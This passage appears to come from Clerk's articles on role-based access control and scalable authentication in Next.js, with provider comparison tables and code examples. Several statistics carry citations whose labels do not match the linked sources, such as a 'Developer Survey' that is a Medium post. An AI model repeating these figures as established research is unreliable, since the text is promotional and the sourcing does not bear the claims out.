| **NextAuth.js**       | 2-4 weeks                      | \~1,000-2,000 | 10-30ms            | Unlimited                                           | Self-hosted                                                                           |                           |
| **Custom**            | 4-8 weeks                      | 2,500+        | Variable           | Unlimited                                           | $50-125K dev ([Cost Analysis](https://www.dave2001.com/access_programming_costs.htm)) | 🔧 **Build from scratch** |

### Feature matrix for enterprise RBAC requirements

| Feature                                                                                           | Clerk                | Auth0         | Supabase             | NextAuth.js     | Custom   |
| ------------------------------------------------------------------------------------------------- | -------------------- | ------------- | -------------------- | --------------- | -------- |
| **[Organizations](/glossary#organizations)/Multi-tenancy**                                        |                      |               | 🔧 Manual RLS setup  | 🔧 Manual build | 🔧 Build |
| **Role Management**                                                                               |                      |               | 🔧 Custom tables     | 🔧 Custom logic | 🔧 Build |
| **Organization Invitations**                                                                      |                      |               |                      |                 | 🔧 Build |
| **[SAML](/glossary#security-assertion-markup-language-saml)/[SSO](/glossary#single-sign-on-sso)** |                      |               | Limited              | 🔧 Manual       | 🔧 Build |
| **[Directory Sync](/glossary#directory-sync) (SCIM)**                                             | 🚧 Roadmap           |               |                      |                 | 🔧 Build |
| **[Audit Logs](/glossary#audit-logs)**                                                            | 🚧 Basic events only |               | 🔧 DIY with triggers | 🔧 Manual       | 🔧 Build |
| **SOC 2 Compliance**                                                                              |                      |               | Infrastructure only  |                 | 🔧 Build |
| **Component Library**                                                                             |                      | Basic widgets |                      |                 | 🔧 Build |
| **Edge Runtime Support**                                                                          |                      |               |                      |                 | 🔧 Build |

The data reveals three distinct patterns: **Clerk excels at rapid deployment** with comprehensive features for growing B2B SaaS ([Clerk Documentation](/docs/guides/organizations/overview)), **Auth0 dominates enterprise** with extensive compliance certifications ([Auth0 Enterprise Features](https://www.kinde.com/blog/compare/what-are-the-top-10-enterprise-authentication-providers-in-2025/)), and **Supabase offers excellent value** for teams already using PostgreSQL ([Supabase Integration Guide](https://github.com/clerk/clerk-supabase-nextjs)).

## The component-first revolution in authorization

Traditional authorization systems require developers to build everything from scratch: login forms, session management, organization switchers, and invitation flows. This approach consumes 15-25% of backend development time according to research ([Developer Survey, 2024](https://medium.com/@nakiboddin.saiyad/role-based-access-control-rbac-in-next-js-projects-93addde77b16)). Component-first platforms like Clerk fundamentally change this equation by providing pre-built, customizable React components that handle the entire authorization lifecycle ([Clerk Components Documentation](/docs/components/overview)).

Consider the difference in implementing organization-based access control:

### Traditional approach: 500+ lines across multiple files

```jsx
// Multiple files, custom UI, extensive testing needed
// auth/provider.tsx - Context setup
// components/org-switcher.tsx - Custom dropdown
// api/organizations/route.ts - CRUD endpoints
// middleware.ts - Route protection
// lib/permissions.ts - Role checking
// ... dozens more files
```

### Component-first approach with Clerk: Under 50 lines total

The layout wraps the application with `ClerkProvider` and includes pre-built UI components for organization switching and user management.

```tsx
// app/layout.tsx
import { ClerkProvider, OrganizationSwitcher, UserButton } from '@clerk/nextjs'

export default function Layout({ children }) {
  return (
    <ClerkProvider>
      <nav>
        <OrganizationSwitcher /> // Complete org switching UI
        <UserButton /> // User profile & sign-out
      </nav>
      {children}
    </ClerkProvider>
  )
}
```

The dashboard page uses `auth()` to retrieve the active organization context and role, enabling server-side data fetching scoped to the current organization.

```tsx
// app/dashboard/page.tsx
import { auth, currentUser } from '@clerk/nextjs/server'

export default async function Dashboard() {
  const { orgId, orgRole } = await auth()

  if (!orgId) {
    return <div>Select an organization</div>
  }

  // Automatic organization context
  const data = await fetchOrgData(orgId)
  return <OrgDashboard data={data} role={orgRole} />
}
```

Route protection is handled with `clerkMiddleware` in your `proxy.ts` file, which replaces `middleware.ts` in Next.js 16.

```tsx
// proxy.ts - Complete protection in 5 lines
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) await auth.protect()
})
```

This dramatic reduction in complexity transforms the economics of building B2B SaaS. The pre-built components handle edge cases like network failures, loading states, and mobile responsiveness that typically require weeks of custom development ([Clerk Blog: Building B2B SaaS](/organizations)). Teams can focus on core product features instead of rebuilding common authorization patterns.

## How Clerk solves Next.js RBAC challenges

While the previous sections outlined the complexities of building RBAC, Clerk provides a production-ready solution specifically designed for Next.js applications. Here's how Clerk addresses each challenge with concrete implementations.

### Quick setup with immediate value

Getting started with Clerk's organizations takes minutes, not weeks ([Clerk Next.js Quickstart](/docs/quickstarts/nextjs)):

```bash
npm install @clerk/nextjs
```

Then wrap your application root with `ClerkProvider` to enable authentication throughout the app.

```tsx
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>{children}</body>
      </html>
    </ClerkProvider>
  )
}
```

Within 15 minutes, you have authentication working. Adding organizations and RBAC takes just a few more steps ([Clerk Organizations Guide](/docs/organizations/overview)):

```tsx
// app/dashboard/layout.tsx
import { OrganizationSwitcher, UserButton } from '@clerk/nextjs'

export default function DashboardLayout({ children }) {
  return (
    <>
      <nav>
        <OrganizationSwitcher /> // Pre-built org switcher
        <UserButton /> // User menu with sign-out
      </nav>
      {children}
    </>
  )
}
```

### Built-in organization management

Unlike Supabase or NextAuth.js where you build organizations from scratch, Clerk provides complete organization infrastructure ([Clerk Organizations Documentation](/docs/organizations/overview)):

- **Organization creation and management** - APIs and components ready to use
- **[Role-based permissions](/glossary#custom-permissions)** - Define custom roles through the dashboard
- **Invitation system** - Email invitations with automatic acceptance flows
- **Member management** - Add, remove, and update member roles
- **Organization metadata** - Store custom data like subscription tiers

See a complete implementation in ([Clerk's Organizations Demo](https://github.com/clerk/organizations-demo)), which shows multi-tenant B2B SaaS patterns.

### Component-first architecture for Next.js

Clerk provides React Server Component compatible helpers that work seamlessly with Next.js App Router ([Clerk Next.js Components](/docs/references/nextjs/overview)):

```tsx
// app/admin/page.tsx - Server Component
import { auth, currentUser } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function AdminPage() {
  const { orgRole, orgId } = await auth()

  // Check permissions server-side
  if (orgRole !== 'admin') {
    redirect('/dashboard')
  }

  // orgId is automatically available
  const data = await fetchOrgData(orgId)

  return <AdminDashboard data={data} />
}
```

For client components, Clerk provides hooks ([Clerk React Hooks](/docs/references/react/use-organization)):

```tsx
'use client'
import { useOrganization, useUser } from '@clerk/nextjs'

export function OrganizationSettings() {
  const { organization, membership } = useOrganization()
  const { user } = useUser()

  // Role is immediately available
  if (membership?.role !== 'admin') {
    return <div>You need admin access</div>
  }

  return <Settings org={organization} />
}
```

### Enterprise-ready features built-in

Clerk includes enterprise features that typically take months to build ([Clerk B2B SaaS Features](/docs/authentication/enterprise-connections)):

- **SAML SSO** - Connect with Okta, Azure AD, Google Workspace ([SSO Guide](/docs/authentication/saml/overview))
- **[Custom roles](/glossary#custom-roles)** - Create organization-specific roles via API ([Custom Roles](/docs/guides/organizations/roles-and-permissions#custom-roles))
- **[Webhooks](/glossary#webhook)** - Sync organization events with your database ([Webhooks Documentation](/docs/webhooks/overview))
- **Verified Domains for Organizations** - Restrict organization membership to specific email domains ([Verified Domains](/docs/guides/organizations/verified-domains))
- **SOC 2 Type II compliance** - Annual audits and security certifications

The authorization landscape for B2B SaaS has shifted dramatically with the emergence of product-led growth strategies. Modern applications need to support complex organizational hierarchies, granular permissions, and seamless onboarding—all while maintaining sub-100ms performance ([Performance Benchmarks, 2025](https://www.openpolicyagent.org/docs/latest/policy-performance/)). Three emerging patterns define successful RBAC implementations in 2025:

### The organization context challenge

B2B applications differ fundamentally from B2C in their authorization requirements. Users belong to organizations, organizations have hierarchies, and permissions cascade through these relationships. A typical B2B user might have different roles across multiple organizations: admin in their primary company, viewer in a client's workspace, and owner of a personal sandbox organization ([Multi-Tenant Patterns, 2024](https://medium.com/@nakiboddin.saiyad/role-based-access-control-rbac-in-next-js-projects-93addde77b16)).

Traditional session-based authentication breaks down when users switch between organizations. The naive approach—destroying and recreating sessions—causes frustrating delays and lost context. Modern RBAC implementations maintain a single authenticated session while dynamically switching organization context, requiring sophisticated state management across server and client components ([Next.js Authentication Guide](https://nextjs.org/docs/app/guides/authentication)).

### The invitation flow complexity

Enterprise customers expect sophisticated invitation workflows: pending invitations that expire, role pre-assignment before acceptance, bulk invitations via CSV upload, and automatic provisioning through directory sync. Building these flows requires dozens of database tables, email templates, and edge cases like handling invitations to users who don't yet exist in the system.

Consider the technical requirements for a production-ready invitation system:

- Unique invitation tokens with expiration
- Email verification to prevent invitation hijacking
- Role assignment that activates upon acceptance
- Invitation analytics for enterprise admins
- Automatic cleanup of expired invitations
- Integration with SSO providers for automatic acceptance

### The performance impact of permission checks

Every protected resource requires authorization verification, but checking permissions on each request can add significant latency. A typical B2B dashboard might check permissions for dozens of components: navigation items, action buttons, data filters, and field-level access controls. Without proper optimization, these checks can add 500ms+ to page load times ([Performance Analysis, 2024](https://www.montecarlodata.com/blog-data-engineering-architecture/)).

The solution involves **permission caching at multiple layers**. Edge caching reduces latency to under 10ms for repeated checks ([Cloudflare Workers Performance](https://www.krakend.io/docs/authorization/jwk-caching/)), while database-level materialized views eliminate complex joins. Companies processing billions of events daily achieve sub-100ms authorization checks through aggressive caching and denormalization ([High-Scale Authorization Patterns](https://www.openpolicyagent.org/docs/latest/policy-performance/)).

## Real-world RBAC patterns from production applications

Analysis of successful B2B SaaS implementations reveals common patterns that solve the hardest RBAC challenges. These patterns, drawn from companies like Vercel, Linear, and Notion ([Case Studies, 2024](https://www.aserto.com/blog/airbnb-uber-app-authorization-rebac-abac-examples)), demonstrate how to balance flexibility with maintainability.

### Pattern 1: The permission matrix approach

Instead of hardcoding role checks throughout the application, successful teams implement a centralized permission matrix that maps roles to capabilities ([RBAC Best Practices, 2024](https://authjs.dev/guides/role-based-access-control)):

```ts
// lib/permissions.ts
const PERMISSION_MATRIX = {
  owner: {
    billing: ['view', 'edit'],
    members: ['view', 'edit', 'invite', 'remove'],
    settings: ['view', 'edit'],
    projects: ['view', 'edit', 'create', 'delete'],
    api_keys: ['view', 'create', 'revoke'],
  },
  admin: {
    billing: ['view'],
    members: ['view', 'invite'],
    settings: ['view', 'edit'],
    projects: ['view', 'edit', 'create'],
    api_keys: ['view', 'create'],
  },
  member: {
    billing: [],
    members: ['view'],
    settings: ['view'],
    projects: ['view', 'edit'],
    api_keys: [],
  },
}

export function can(role: string, resource: string, action: string) {
  return PERMISSION_MATRIX[role]?.[resource]?.includes(action) ?? false
}
```

This approach centralizes authorization logic, making it easy to audit permissions and add new roles without modifying component code.

### Pattern 2: Hierarchical organizations with team nesting

Enterprise customers often require nested team structures: departments contain teams, teams contain projects. Implementing this hierarchy requires careful database design and efficient permission inheritance ([NIST RBAC Model](https://csrc.nist.gov/CSRC/media/Projects/Role-Based-Access-Control/documents/report02-1.pdf)):

```tsx
// Database schema for nested organizations
const organizations = pgTable('organizations', {
  id: uuid('id').primaryKey(),
  name: text('name').notNull(),
  parentId: uuid('parent_id').references(() => organizations.id),
  path: text('path').notNull(), // Materialized path for efficient queries
})

// Query permissions across hierarchy
async function getUserPermissions(userId: string, orgId: string) {
  // Get all parent organizations using materialized path
  const org = await db.query.organizations.findFirst({
    where: eq(organizations.id, orgId),
  })

  const parentIds = org.path.split('/').filter(Boolean)

  // Check permissions at any level of hierarchy
  const permissions = await db.query.permissions.findMany({
    where: and(eq(permissions.userId, userId), inArray(permissions.orgId, [...parentIds, orgId])),
  })

  // Merge permissions with most specific taking precedence
  return mergePermissions(permissions)
}
```

### Pattern 3: Dynamic role creation for enterprise flexibility

Large enterprises often need custom roles beyond standard offerings. Supporting dynamic role creation while maintaining performance requires careful caching strategies ([Enterprise RBAC Research, 2024](https://medium.com/@muhebollah.diu/building-a-scalable-role-based-access-control-rbac-system-in-next-js-b67b9ecfe5fa)):

```tsx
// Cache custom roles at edge
export const config = { runtime: 'edge' }

const roleCache = new Map<string, Role>()

async function getOrgRoles(orgId: string): Promise<Role[]> {
  const cacheKey = `roles:${orgId}`

  // Check edge cache first
  if (roleCache.has(cacheKey)) {
    return roleCache.get(cacheKey)
  }

  // Fetch from database
  const roles = await fetch(`${API_URL}/orgs/${orgId}/roles`, {
    next: { revalidate: 300 }, // Cache for 5 minutes
  }).then((r) => r.json())

  roleCache.set(cacheKey, roles)
  return roles
}
```

## Conclusion: The optimal path for Next.js teams

The research data presents a clear conclusion: attempting to build custom RBAC for production Next.js applications in 2025 is economically irrational for most teams. With development costs of $50,000-$125,000 ([Cost Analysis](https://www.dave2001.com/access_programming_costs.htm)), ongoing maintenance consuming 20-30% of that annually, and a 2-3x higher bug rate compared to established platforms, custom implementation only makes sense for organizations with highly unique requirements and dedicated security teams.

For the majority of Next.js applications, especially B2B SaaS products requiring multi-tenant organizations, the component-first approach exemplified by Clerk provides the optimal balance of rapid deployment, comprehensive features, and enterprise scalability. The ability to implement production-ready RBAC in under 3 days versus 4-8 weeks for custom solutions, combined with built-in compliance features and automatic security updates, fundamentally changes the build-versus-buy calculation ([Implementation Comparison](/docs/guides/organizations/overview)).

The authorization landscape will continue evolving with quantum threats ([NIST Post-Quantum Standards](https://www.nist.gov/cybersecurity/what-post-quantum-cryptography)), AI-powered attacks ([Security Research, 2025](https://www.sangfor.com/blog/cybersecurity/ai-powered-cyber-threats-zero-day-deepfakes)), and increasingly complex compliance requirements. Organizations that adopt modern authorization platforms position themselves to respond quickly to these challenges while focusing engineering resources on core product differentiation rather than rebuilding solved problems. With broken access control remaining the #1 vulnerability ([OWASP Top 10](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)) and breach costs averaging $4.44 million ([IBM Security Report](https://www.ibm.com/reports/data-breach)), the question isn't whether to implement robust RBAC, but how quickly you can deploy it without compromising security or developer velocity.

---

# How to Build Scalable Authentication in Next.js
URL: https://clerk.com/articles/building-scalable-authentication-in-nextjs.md
Date: 2026-03-27
Description: Learn how to build scalable Next.js authentication that handles millions of users. Solve database connection limits, edge runtime issues, session management, and multi-tenancy challenges with practical solutions and provider comparisons.

Scalable authentication in Next.js requires solving database connection pooling, edge runtime compatibility, [session management](/glossary#session-management) efficiency, and multi-region performance. Key strategies include using stateless JWTs with short expiry times, multi-layer caching for session validation, and connection pooling to prevent database exhaustion under load. As your application grows from hundreds to millions of users, these complexities become critical bottlenecks. Managed authentication providers like Clerk handle these concerns out of the box, while self-hosted solutions require significant infrastructure work to scale beyond thousands of concurrent users.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary: The Scalability Challenge

| **Scalability Challenge**      | **Impact at Scale**                           | **Solution Approach**               |
| ------------------------------ | --------------------------------------------- | ----------------------------------- |
| Database connection exhaustion | System crashes at 100+ concurrent users       | Connection pooling or stateless JWT |
| Session validation latency     | 10-500ms added to each request                | Multi-layer caching strategy        |
| Edge runtime limitations       | Incompatible Node.js authentication libraries | Edge-compatible JWT libraries       |
| Multi-region performance       | 100ms+ cross-region latency                   | Geographic distribution and caching |
| Infrastructure costs           | Linear cost growth with users                 | Efficient resource utilization      |

## Common Scalability Problems and Solutions

### Problem 1: Database Connection Exhaustion

**The Challenge**: Traditional session-based authentication requires database queries for every authenticated request. Each Next.js server instance maintains its own connection pool, quickly exhausting database connection limits.

### How This Manifests at Scale

When your Next.js application scales horizontally (multiple server instances), each instance creates its own database connections. PostgreSQL's default configuration limits connections to 100, as documented in the ([PostgreSQL Documentation](https://www.postgresql.org/docs/current/runtime-config-connection.html)). With each instance typically using 20 connections from its pool, you hit limits at just 5 server instances. ([Azure PostgreSQL Documentation](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/concepts-limits)) confirms that even managed PostgreSQL services reserve connections for system processes, further reducing available connections for applications.

### DIY Solution: Connection Pooling

```tsx
// lib/db.ts - Connection Pool Implementation
import { Pool } from 'pg'

const pool = new Pool({
  host: process.env.DB_HOST,
  database: process.env.DB_NAME,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  max: 20, // Maximum connections per instance
  idleTimeoutMillis: 30000,
  connectionTimeoutMillis: 2000,
})

export async function getSession(sessionId: string) {
  const client = await pool.connect()
  try {
    const result = await client.query(
      'SELECT * FROM sessions WHERE id = $1 AND expires_at > NOW()',
      [sessionId],
    )
    return result.rows[0]
  } finally {
    client.release() // Critical: always release connections
  }
}
```

**Problems with DIY approach:**

- Still limited by total database connections
- Requires PgBouncer or similar proxy for true pooling (as recommended by ([ScaleGrid, March 2025](https://scalegrid.io/blog/postgresql-connection-pooling-part-2-pgbouncer/)))
- Complex configuration and maintenance
- No automatic failover or redundancy

### How Managed Providers Solve This

Modern authentication providers eliminate database connection issues entirely by using **stateless [JWT](/glossary#json-web-token) authentication**. Instead of querying a database for every request:

1. Issue cryptographically signed JWTs
2. Validate tokens without database calls
3. Cache user data at the edge
4. Handle token rotation automatically

Example with a managed provider:

```tsx
// With any JWT-based provider - No database connections needed
import { auth } from '@clerk/nextjs/server' // or Auth0, Supabase, etc.

export async function getUser() {
  const { sessionClaims } = await auth() // No database query
  return sessionClaims
}
```

This architectural difference allows providers to handle millions of concurrent users without the connection pooling complexity that ([PgBouncer Best Practices](https://www.pgbouncer.org/config.html)) requires extensive configuration to achieve.

### Problem 2: Session Validation Latency

**The Challenge**: Every authenticated request needs session validation, adding significant latency. According to ([Microsoft SQL Performance Documentation](https://learn.microsoft.com/en-us/troubleshoot/sql/database-engine/performance/troubleshoot-sql-io-performance)), even well-optimized database queries add 10-15ms of latency, with poorly optimized queries reaching 50-200ms.

### Performance Impact Breakdown

Research on database network latency from ([Stack Overflow Analysis](https://stackoverflow.com/questions/605648/database-network-latency)) and ([Packet-Foo Network Study](https://blog.packet-foo.com/2014/09/how-millisecond-delays-may-kill-database-performance/)) shows that even local database connections have measurable overhead:

```
Traditional Session Flow:
1. Parse cookie (1ms)
2. Query database for session (10-200ms)
3. Query database for user data (10-200ms)
4. Check permissions (20-100ms)
Total: 41-501ms added latency

JWT-Based Flow (Managed Providers):
1. Parse cookie (1ms)
2. Verify JWT signature (1-2ms) - No network call after JWKS cached
3. Extract user data from token (0ms) - Already in payload
Total: ~2-3ms

```

([Academic Research on JWT Performance, 2019](https://www.researchgate.net/publication/335367877_Performance_comparison_of_signed_algorithms_on_JSON_Web_Token)) confirms that RS256 verification takes approximately 100K CPU cycles, translating to microseconds on modern hardware, while ([Security Stack Exchange Analysis](https://security.stackexchange.com/questions/268596/does-jwt-with-asymmetric-algorithm-have-a-bad-performance)) shows HMAC-based signatures are even faster.

### DIY Solution: Multi-Layer Caching

```tsx
// lib/cache.ts - Complex caching implementation
import { LRUCache } from 'lru-cache'
import { Redis } from 'ioredis'

// In-memory cache (L1)
const memoryCache = new LRUCache<string, any>({
  max: 500,
  ttl: 1000 * 60 * 5, // 5 minutes
})

// Redis cache (L2)
const redis = new Redis(process.env.REDIS_URL)

export async function getCachedSession(sessionId: string) {
  // Check memory cache first
  let session = memoryCache.get(sessionId)
  if (session) return session

  // Check Redis cache
  const cached = await redis.get(`session:${sessionId}`)
  if (cached) {
    session = JSON.parse(cached)
    memoryCache.set(sessionId, session)
    return session
  }

  // Fall back to database
  session = await getSessionFromDB(sessionId)
  if (session) {
    await redis.setex(`session:${sessionId}`, 3600, JSON.stringify(session))
    memoryCache.set(sessionId, session)
  }

  return session
}
```

**Challenges with DIY caching:**

- Cache invalidation complexity
- Consistency across multiple instances
- Memory management and overflow
- Stale data risks

### How Modern Providers Solve This

JWT-based authentication providers eliminate database lookups entirely:

```tsx
// With JWT providers like Clerk, Auth0, or Supabase
import { auth } from '@clerk/nextjs/server'

export async function validateRequest() {
  const { userId } = await auth() // ~1-2ms - just signature verification
  return userId
}
```

The key difference: After the JWKS (JSON Web Key Set) is cached locally, JWT validation is purely cryptographic verification—no network calls, no database queries, just mathematical operations as ([Auth0 JWKS Documentation](https://auth0.com/blog/navigating-rs256-and-jwks/)) explains.

### Problem 3: Edge Runtime Incompatibilities

**The Challenge**: Next.js Edge Runtime doesn't support Node.js built-in modules, breaking most authentication libraries. The ([Next.js Edge Runtime Documentation](https://nextjs.org/docs/pages/api-reference/edge)) clearly states these limitations.

### Common Incompatibilities

Libraries that DON'T work at the edge:

- `jsonwebtoken` - Uses Node.js `crypto`
- `bcrypt` - Native bindings
- `passport` - Node.js dependencies
- Most database drivers - TCP sockets

### DIY Solution: Edge-Compatible Implementation

```tsx
// proxy.ts - Edge-compatible authentication (Next.js 16+)
// For Next.js 15 and earlier, name this file middleware.ts
import { jwtVerify } from 'jose' // Edge-compatible library

export async function middleware(request: NextRequest) {
  const token = request.cookies.get('token')?.value

  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  try {
    const secret = new TextEncoder().encode(process.env.JWT_SECRET!)
    const { payload } = await jwtVerify(token, secret)

    // Add user context to headers
    const requestHeaders = new Headers(request.headers)
    requestHeaders.set('x-user-id', payload.sub as string)

    return NextResponse.next({
      request: { headers: requestHeaders },
    })
  } catch (error) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}
```

**DIY Edge Challenges:**

- Limited library ecosystem
- Complex secret management
- No database access from edge
- Manual token refresh handling

### Edge-First Provider Solutions

Modern authentication providers are built for edge compatibility:

```tsx
// proxy.ts - Edge-compatible proxy with managed auth (Next.js 16+)
// For Next.js 15 and earlier, name this file middleware.ts
import { clerkMiddleware } from '@clerk/nextjs/server' // or similar from other providers

export default clerkMiddleware(async (auth, request) => {
  // Automatic edge-optimized validation
  // No Node.js dependencies required
})

// The same pattern works with Auth0, Supabase, etc.
// Each provider offers edge-compatible SDKs
```

Key advantages of managed edge authentication:

- Pre-built edge-compatible libraries
- Automatic JWKS caching
- Global token validation
- No secret management complexity

### Problem 4: Multi-Tenancy at Scale

**The Challenge**: B2B SaaS applications need tenant isolation, custom domains, and per-organization settings. ([AWS Multi-Tenant Security Guide, Jan 2022](https://aws.amazon.com/blogs/security/security-practices-in-aws-multi-tenant-saas-environments/)) and ([Microsoft Multi-Tenant Architecture](https://learn.microsoft.com/en-us/azure/architecture/guide/multitenant/considerations/identity)) both emphasize the complexity of multi-tenant authentication.

### DIY Multi-Tenant Complexity

```tsx
// Complex multi-tenant implementation
export class MultiTenantAuth {
  async resolveTenant(request: NextRequest) {
    // Extract tenant from subdomain, custom domain, or header
    const host = request.headers.get('host')
    const subdomain = host?.split('.')[0]

    // Look up tenant configuration
    const tenant = await this.getTenantConfig(subdomain)

    // Apply tenant-specific auth rules
    return this.applyTenantSettings(tenant)
  }

  async authenticateForTenant(credentials: Credentials, tenantId: string) {
    // Tenant-specific user lookup
    const user = await this.getUserForTenant(credentials.email, tenantId)

    // Tenant-specific password policies
    const passwordValid = await this.validatePassword(
      credentials.password,
      user.passwordHash,
      tenant.passwordPolicy,
    )

    // Tenant-specific MFA requirements
    if (tenant.mfaRequired) {
      return this.requireMFA(user)
    }

    return this.createSession(user, tenantId)
  }
}
```

### Managed Multi-Tenancy Solutions

Several providers offer built-in multi-tenancy features:

```tsx
// Example: Built-in organization support
import { auth } from '@clerk/nextjs/server' // Clerk Organizations
// import { getSession } from '@auth0/nextjs-auth0' // Auth0 Organizations
// import { createClient } from '@supabase/supabase-js' // Supabase with RLS

export async function getOrganizationData() {
  const { orgId, orgSlug, orgRole } = await auth()

  // Automatic tenant isolation
  // Custom domains handled by the provider
  // Per-org settings and roles built-in

  return { orgId, orgSlug, orgRole }
}
```

Features typically handled by managed providers:

- Automatic tenant isolation
- Custom domain routing
- Organization invitations and roles
- Per-tenant [SSO](/glossary#single-sign-on-sso) configuration
- [Audit logs](/glossary#audit-logs) per organization

Providers with strong multi-tenancy support include Clerk (Organizations), Auth0 (Organizations per their ([Entity Limit Documentation](https://auth0.com/docs/troubleshoot/customer-support/operational-policies/entity-limit-policy))), and WorkOS (specifically built for enterprise).

### Problem 5: Horizontal Scaling Coordination

**The Challenge**: Multiple Next.js instances need coordinated session management, rate limiting, and cache invalidation.

### DIY Distributed System Challenges

```tsx
// Complex distributed session management
export class DistributedSessionManager {
  private redis: Redis
  private pubsub: RedisPubSub

  async invalidateSession(sessionId: string) {
    // Remove from local cache
    this.localCache.delete(sessionId)

    // Remove from Redis
    await this.redis.del(`session:${sessionId}`)

    // Notify all instances
    await this.pubsub.publish('session:invalidate', sessionId)
  }

  async handleSessionInvalidation() {
    this.pubsub.subscribe('session:invalidate', (sessionId) => {
      this.localCache.delete(sessionId)
    })
  }

  // Handle race conditions, network partitions, etc.
}
```

### Managed Provider Infrastructure

Authentication providers handle distributed scaling automatically:

- Global session consistency
- Instant invalidation across all regions
- Coordinated rate limiting
- Automatic failover and redundancy
- Zero-downtime scaling

These distributed systems challenges take significant engineering effort to solve correctly, which is one of the primary advantages of using established providers.

## Authentication Provider Comparison: Scalability Focus

### Performance and Scale Comparison

| Provider          | Architecture                     | Edge Support | Scale Limits                                                                                                                  | Setup Time |
| ----------------- | -------------------------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------- | ---------- |
| **Clerk**         | Edge-first, globally distributed |              | Unlimited                                                                                                                     | 15 minutes |
| **Auth0**         | Regional with edge caching       |              | Unlimited per ([Auth0 Limits](https://auth0.com/docs/troubleshoot/customer-support/operational-policies/entity-limit-policy)) | 2-4 hours  |
| **Supabase Auth** | PostgreSQL-based                 |              | Database limits                                                                                                               | 1-2 hours  |
| **NextAuth.js**   | DIY implementation               |              | Your infrastructure                                                                                                           | 1-2 weeks  |
| **AWS Cognito**   | Regional pools                   |              | 40M users per pool                                                                                                            | 1-2 days   |
| **Firebase Auth** | Global with regional storage     |              | Unlimited                                                                                                                     | 2-4 hours  |

### Developer Experience for Scalability

| Provider        | Auto-scaling     | Multi-region | Rate Limiting | Session Management |
| --------------- | ---------------- | ------------ | ------------- | ------------------ |
| **Clerk**       |                  |              |               |                    |
| **Auth0**       |                  | Manual setup |               |                    |
| **Supabase**    | Database scaling | Manual       | DIY           |                    |
| **NextAuth.js** |                  |              |               | Configurable       |
| **Cognito**     |                  | Per region   |               |                    |
| **Firebase**    |                  |              |               |                    |

## Production Implementation Patterns

### Pattern 1: Hybrid Authentication Strategy

For applications requiring both performance and flexibility:

```tsx
// app/api/auth/hybrid/route.ts
import { auth } from '@clerk/nextjs/server' // Your provider's auth import

export async function GET() {
  // Fast path: Provider handles authentication
  const { userId, sessionClaims } = await auth() // Your provider's auth method

  if (!userId) {
    return new Response('Unauthorized', { status: 401 })
  }

  // Custom business logic for specific requirements
  const customData = await customBusinessLogic(userId)

  return Response.json({
    userId,
    customData,
    // Most providers expose these in session claims
    organizations: sessionClaims?.orgs,
    permissions: sessionClaims?.permissions,
  })
}
```

### Pattern 2: Progressive Enhancement

Start simple and scale as needed. Phase 1 uses the provider's pre-built components with zero custom UI:

```tsx
import { SignIn } from '@clerk/nextjs' // or Auth0, Supabase equivalents

export function BasicAuth() {
  return <SignIn />
}
```

Phase 2 adds custom redirect behavior after sign-in:

```tsx
import { SignIn } from '@clerk/nextjs'

export function EnhancedAuth() {
  return <SignIn fallbackRedirectUrl="/onboarding" />
}
```

Phase 3 builds a fully custom UI backed by the provider's scalable backend:

```tsx
import { useSignIn } from '@clerk/nextjs' // or equivalent hooks

export function CustomAuth() {
  const { signIn, errors, fetchStatus } = useSignIn()

  // Your custom UI, provider's scalable backend
  return (
    <YourCustomSignInForm
      onSubmit={(email, password) => signIn.password({ emailAddress: email, password })}
      errors={errors}
      isLoading={fetchStatus === 'fetching'}
    />
  )
}
```

### Pattern 3: WebAuthn/Passkeys for Scale

Passwordless authentication reduces support burden and improves security. According to the ([FIDO Alliance, Oct 2024](https://fidoalliance.org/passkeys/)), [passkeys](/glossary#passkeys) provide faster authentication than passwords, and recent adoption has doubled with over 15 billion online accounts now supporting them ([FIDO Alliance Report, Dec 2024](https://fidoalliance.org/passkey-adoption-doubles-in-2024-more-than-15-billion-online-accounts-can-leverage-passkeys/)):

```tsx
// Pseudo-code:
// Most modern providers support WebAuthn/Passkeys
// Example with any provider that supports passkeys

export default function PasskeyAuth() {
  return (
    <SignInComponent
      // Passkeys automatically available when configured
      preferredSignInMethod="passkey"
    />
  )
}
```

Benefits of passkeys at scale:

- Eliminates password reset tickets
- Prevents [credential stuffing](/glossary#credential-stuffing) attacks
- Reduces SMS/email costs for [MFA](/glossary#multi-factor-authentication-mfa)
- Superior user experience (faster authentication than passwords according to ([Apple Security Documentation](https://support.apple.com/en-us/102195)))

## Performance Monitoring and Optimization

### Key Metrics for Authentication at Scale

Monitor these critical metrics:

```tsx
// lib/monitoring.ts
export async function trackAuthMetrics(event: AuthEvent) {
  // Track authentication performance
  const metrics = {
    authLatency: event.duration,
    authMethod: event.method, // password, oauth, passkey
    authSuccess: event.success,
    tokenSize: event.tokenSize,
    cacheHit: event.cached,
    edgeLocation: event.location,
  }

  // Send to your monitoring service
  await sendToDatadog(metrics)
}
```

**Critical thresholds:**

- Authentication latency: \< 200ms (p95)
- Token validation: \< 50ms (p95)
- Cache hit rate: > 90% (as recommended by ([Cloudflare CDN Guide](https://www.cloudflare.com/learning/cdn/what-is-a-cache-hit-ratio/)), ([Fastly Best Practices](https://www.fastly.com/documentation/guides/full-site-delivery/caching/caching-best-practices/)), and ([Google Cloud CDN](https://cloud.google.com/cdn/docs/best-practices)))
- Authentication success rate: > 98%

### Optimization Techniques

1. **Route Segmentation**: Don't authenticate every route

```tsx
// Optimize proxy matching (proxy.ts in Next.js 16+, middleware.ts in 15 and earlier)
export const config = {
  matcher: [
    // Only protected routes, skip public assets
    '/dashboard/:path*',
    '/api/protected/:path*',
    '/admin/:path*',
  ],
}
```

